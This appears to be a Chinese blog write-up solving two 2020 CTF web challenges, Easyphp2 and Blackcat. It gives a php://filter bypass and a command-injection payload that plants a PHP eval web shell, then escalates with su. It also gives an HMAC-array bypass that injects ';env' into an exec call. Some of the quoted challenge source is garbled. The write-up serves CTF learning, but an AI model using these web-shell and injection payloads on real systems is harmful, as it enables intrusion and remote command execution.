[羊城杯 2020]Easyphp2&&[羊城杯 2020]Blackcat

[羊城杯 2020]Easyphp2

思路

1.修改Cookie: pass=GWHT,我没有看robots.txt,直接猜到的

2.绕过协议,二次编码就行,或者更改别的过滤器

?file=php://filter/read=convert.%2562%2561%2573%2565%2536%2534-encode/resource=GWHT.php

3.得到源码

<?php
if (isset($_GET["count"])){
$count $_GET[count"]:
if(preg_match ('/base64rot13|base32 base16<\?php #/i',$count)){
die ('hacker !')
}
echo <h2>
The Count is:"exec('printf \'' .$count.'\' | wc -c')."</h2>
}
?>

这里浅谈一下

<?php
print(exec('ls'));#script.php
print(exec('pwd'));#/box
print(exec('ls;pwd'));#/box
print(exec('ls||pwd'));#script.php
print(exec('ls&&pwd'));#/box
print(exec('ls|pwd'));#/box
print(exec('pwd&&ls||pwd'));#script.php
?>

总结:如果有回显,只有||命令回显的是前面执行的命令(因为后面的命令没有执行了),其他的都是回显后面的命令

payload

对于这道题目,过滤了 ;,不过还有 | 也可以用

直接写入

1'|echo"<?=eval(\$_POST[cmd])?>">1.php||'1
短一点的话可以
1'|echo"<?=eval(\$_POST[cmd])?>">'1.php     其实就是'1.php闭合了后面的'

如果想看ls执行并且有回显的话(其实没啥用),可以

1'%26%26ls||'1
不过,ls /的时候,显示不完全,因为exec直接打印的话只会输出一行代码,可能跟换行有关
不过可以这样让他显示
1'%26%26ls%20/|tee%20b||'1
然后访问/b就行了

直接蚁剑链接上

找了半天才找到flag.txt,不过没有权限

使用
ls -l 查看,发现要GWHT用户才能打开

找到README文件,解码之后得到GWHT用户的密码:GWHTCTF

在蚁剑中可以这样登录并执行命令

printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'

解释:
该指令的意思是将字符串"GWHTCTF"传递给su命令,并使用GWHT用户身份执行后续的命令。在这个例子中,su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'的含义是以GWHT用户的身份执行cat /GWHT/system/of/a/down/flag.txt命令,来查看文件/GWHT/system/of/a/down/flag.txt的内容。

[羊城杯 2020]Blackcat

思路

查看源码,得到提示:<!--都说听听歌了!-->

源码中有音频的链接,点进去划到最下面,得到

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('谁!竟敢踩我一只耳的尾巴!');
}

$clandestine = getenv("clandestine");

if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);


$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);

if($hh !== $_POST['Black-Cat-Sheriff']){
    die('有意瞄准,无意击发,你的梦想就是你要瞄准的目标。相信自己,你就是那颗射中靶心的子弹。');
}

echo exec("nc".$_POST['One-ear']);

hash_hmac

(PHP 5 >= 5.1.2, PHP 7, PHP 8, PECL hash >= 1.1)

hash_hmac — 使用 HMAC 方法生成带有密钥的散列值

 hash_hmac(
  string `$algo`,#加密的类型
  string `$data`,#要加密的值
  string `$key`,#加密时使用的密钥
  bool `$binary` = `false`#前三个参数是必须的,这个是可选的参数
): string

参数

  • algo

    ​ 要使用的散列算法名称,例如:“md5”、“sha256”、“haval160,4”等。如何获取受支持的算法清单,请参见 hash_hmac_algos() 函数。

  • data

    ​ 要进行散列运算的消息。

  • key

    ​ 使用 HMAC 生成信息摘要时所使用的密钥。

  • binary

    ​ 设置为 true 输出原始二进制数据,设置为 false 输出小写 16 进制字符串。

利用sha不能加密数组的特点,返回的其实是NULL,举例

<?php
$hmac = hash_hmac('sha256', Array(), "SecretKey");
echo $hmac == false;#1
echo $hmac == NULL;#1
echo $hmac == '';#1
echo $hmac === NULL;#1,只有NULL才强等于
// echo hash_hmac('sha256',';env',false)
?>

所以令$_POST['White-cat-monitor']为数组,得到的密钥就变成了NULL,加密$_POST['One-ear']的值变得可控

payload

<?php
echo hash_hmac('sha256',';env',false);#false,NULL,'' 都可以
?>    

不过exec只能显示一行,而且这里不能文件写入,flag只能不断尝试了:/flag,flag.php,/flag.txt,flag.txt……

全部尝试了一遍,尝试环境变量env,得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值